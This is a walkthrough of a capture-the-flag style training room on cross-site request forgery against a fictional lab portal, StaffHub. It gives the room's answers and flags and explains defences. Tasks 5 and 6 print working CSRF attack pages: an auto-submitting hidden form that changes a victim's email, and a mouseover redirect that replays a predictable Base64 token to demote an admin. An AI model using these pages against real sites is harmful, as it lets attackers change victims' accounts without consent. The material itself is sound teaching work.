Difficulty: Easy | Category: Web Application Security | Time: 60 minutes

Introduction

This room walks you through Cross-Site Request Forgery (CSRF) — a web vulnerability where an attacker tricks a victim’s browser into performing unintended actions on a site where they’re already authenticated. You’ll interact with a fictional employee portal called StaffHub and exploit real CSRF weaknesses step by step.

Task 1 — Connecting to the Machine

Start both your AttackBox and the Target Machine. Give the auto-run scripts 1–2 minutes to complete before doing anything. Once Google Chrome opens and you see the keyring pop-up, simply click Cancel.

Answer: No answer needed — just connect.

Task 2 — What is CSRF?

CSRF works by abusing the trust relationship between your browser and a web application. When you log into a website, your browser stores a session cookie. From that point on, every request your browser makes to that domain automatically includes that cookie — whether the request came from the legitimate site or from a malicious page somewhere else on the internet.

This is how the attack plays out:

1. The victim logs into a legitimate web app and the browser stores a session cookie.
2. The attacker tricks the victim into visiting a malicious webpage containing a crafted request.
3. The victim’s browser sends the request to the target application — with the cookie automatically attached.
4. The server sees a valid cookie and processes the request as if the user intended it.

The attacker never needs the victim’s credentials. They just need the victim’s browser to do the work.

Questions

Q: What relationship between the browser and the web application does a CSRF attack abuse? A: Trust

Q: What does the browser automatically include with requests after login? A: Cookies

Task 3 — Why CSRF Works

Browsers aren’t broken — they behave exactly as designed. The problem is that web applications trust incoming requests too much without verifying where they actually came from.

For a CSRF attack to succeed, three conditions must be true:

• The victim must be authenticated to the target application.
• The application must perform a state-changing action (like updating an email or changing a password).
• The application must not verify whether the request came from a trusted source.

Question

Q: What type of action is usually required for a CSRF attack to succeed? A: State-changing

Task 4 — Finding CSRF Vulnerabilities

As a pentester, your goal is to identify features that change data without verifying the request’s origin. Common targets include:

• Email or password changes
• Account settings updates
• Role or permission modifications
• Financial transactions

A very common misconception among developers is that using POST requests prevents CSRF. This is false. Both GET and POST requests are exploitable. GET-based state-changing actions can be triggered through something as simple as a link or an image tag.

The standard defence against CSRF is the use of CSRF tokens — unique, unpredictable values tied to the user’s session that must be included in every sensitive request.

Questions

Q: What HTTP request method do many developers incorrectly believe prevents CSRF? A: POST

Q: What mechanism is commonly used to protect applications from CSRF attacks? A: CSRF tokens

Task 5 — Exploitation Using an HTML Form

Setting Up

Visit http://staffhub.thm:8080 in the AttackBox browser and log in with:

• Username: user
• Password: user

Navigate to the Settings page. You’ll see an Update Email form.

Analysing the Request

Inspecting the form reveals it sends a POST request to update_email.php with just one parameter — email. There is no CSRF token, no origin check, nothing:

<form action="update_email.php" method="POST">
    <input id="email" type="email" name="email" required>
    <button type="submit">Update Email</button>
</form>

Because there’s no verification mechanism, anyone who knows this request structure can reproduce it from anywhere.

Crafting the Malicious Page

On the AttackBox, navigate to the web root:

cd /var/www/html
nano settings.html

Paste in the following:

<html>
<body>

<form action="http://staffhub.thm:8080/update_email.php" method="POST" id="attack">
<input type="hidden" name="email" value="[email protected]">
</form><script>
document.getElementById("attack").submit();
setTimeout(function() {
    window.location.href = "http://staffhub.thm:8080/settings.php";
}, 1000);
</script></body>
</html>

This page silently submits the form the moment a victim loads it, then redirects them back to the settings page so they barely notice anything happened.

Triggering the Attack

While still logged into StaffHub, open the following URL in the same browser tab:

http://CONNECTION_IP:81/settings.html

The page auto-submits the hidden form. Your browser sends the POST request to StaffHub — with your session cookie attached. The server processes it and updates the email to [email protected].

The flag appears on the settings page.

Q: What is the flag value after updating the email to [email protected]? A: THM{Got_The_Evil_Email001}

Second Flag

Now update settings.html — change the email value to [email protected], save, and visit the page again in the same logged-in browser. The same attack fires and the email updates again.

Q: What is the flag value after updating the email to [email protected]? A: THM{My_Special_Email007}

Task 6 — Exploitation Using a Weak CSRF Token

The Scenario

Back on the StaffHub settings page, there’s another feature — Update Role. This one does include a CSRF token. At first glance it looks protected. But inspecting the page source tells a different story:

<input type="hidden" name="csrf_token" value="YWRtaW4=">

That value looks random — until you decode it. Pop YWRtaW4= into a Base64 decoder and you get:

admin

The token is simply the user’s current role encoded in Base64. It’s entirely predictable. An attacker who understands how the token is generated can reproduce it without ever touching the legitimate site.

Crafting the Image-Based Attack

On the AttackBox, create a new file:

nano /var/www/html/role.html

Paste in:

<html>
<body>

<h2>StaffHub Internal Notice</h2>
<p>Move your mouse over the banner below to load the latest role updates.</p><img src="http://staffhub.thm:8080/one.png"
onmouseover="window.location='http://staffhub.thm:8080/update_role.php?role=staff&csrf_token=YWRtaW4='"
width="400"></body>
</html>

This page displays an innocent-looking image. When the victim moves their mouse over it, the onmouseover event triggers a redirect to the vulnerable endpoint — passing the role update request along with the predictable CSRF token. Since the victim's session cookie is automatically included, the server accepts the request as legitimate.

Triggering the Attack

In the same browser where you’re logged into StaffHub, open:

http://CONNECTION_IP:81/role.html

Hover your mouse over the image. The browser silently navigates to the malicious URL. The application validates the token (which the attacker already knew), accepts the request, and demotes the user from admin to staff.

Visit the Dashboard page to collect the flag.

Q: What is the flag value after demoting the user from admin to staff? A: THM{Weak_CSRF_Role_001}

Q: In the above example, what is the name of the encoding scheme used by the developer for encoding CSRF tokens? A: Base64

Task 7 — Best Practices for Finding CSRF Vulnerabilities

Now that you understand how CSRF attacks work and how to exploit them, here’s what to look for during a real pentest assessment:

• Focus on state-changing requests — prioritise endpoints that modify data: password changes, email updates, account settings, financial transactions. These are the most common CSRF targets.
• Inspect requests for CSRF tokens — check whether sensitive actions include a token. If no token exists, or if it appears static or predictable (like our Base64 example), the request is likely vulnerable.
• Analyse HTTP methods — sensitive actions should use POST. If important operations happen over GET, they’re even easier to exploit via links or image tags.
• Test requests outside the application — copy the request and try to reproduce it from an external HTML page. If the action succeeds without additional verification, the endpoint is vulnerable.
• Observe cookie behaviour — if authentication relies only on session cookies and the application doesn’t validate the request’s origin, CSRF attacks become possible.

Answer: No answer needed.

Task 8 — Conclusion

In this room we covered:

• What CSRF is and how it abuses browser trust
• The three conditions needed for a CSRF attack to succeed
• How to identify vulnerable features in a web application
• Exploiting a completely unprotected form to change a user’s email
• Bypassing weak Base64-encoded CSRF tokens using an image-based attack
• Best practices for identifying CSRF during a pentest

The key takeaway: a CSRF token is only as strong as its unpredictability. A token that can be guessed, decoded, or reversed offers no real protection. Proper defence requires cryptographically random, session-bound tokens validated server-side on every sensitive request.

Answer: No answer needed — room complete!

Happy hacking and always practice in authorised environments only.